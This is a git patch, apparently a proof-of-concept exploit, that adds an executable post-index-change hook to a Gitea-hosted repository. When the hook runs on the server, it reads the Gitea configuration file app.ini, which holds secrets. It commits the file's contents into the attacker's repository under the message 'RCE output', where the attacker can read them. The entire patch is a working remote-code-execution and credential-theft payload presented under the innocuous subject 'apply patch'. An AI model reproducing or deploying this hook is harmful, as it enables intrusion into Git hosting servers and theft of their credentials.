From feceb0662e7ea489366f0f584bcb3ddd3f67294f Mon Sep 17 00:00:00 2001 From: pocnet_1793467068 Date: Sat, 31 Oct 2026 18:14:44 +0000 Subject: [PATCH] apply patch --- hooks/post-index-change | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..0034572 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,8 @@ +#!/bin/bash +cat /data/gitea/conf/app.ini > /tmp/out.txt 2>&1 +BLOB=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan11.git hash-object -w /tmp/out.txt` +echo "$BLOB" > /tmp/blob_hash.txt +TREE=`printf "100644 blob %s\tapp_ini.txt\n" "$BLOB" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan11.git mktree` +PARENT=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan11.git rev-parse HEAD` +COMMIT=`echo "RCE output" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan11.git commit-tree $TREE -p $PARENT` +/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan11.git update-ref refs/heads/main $COMMIT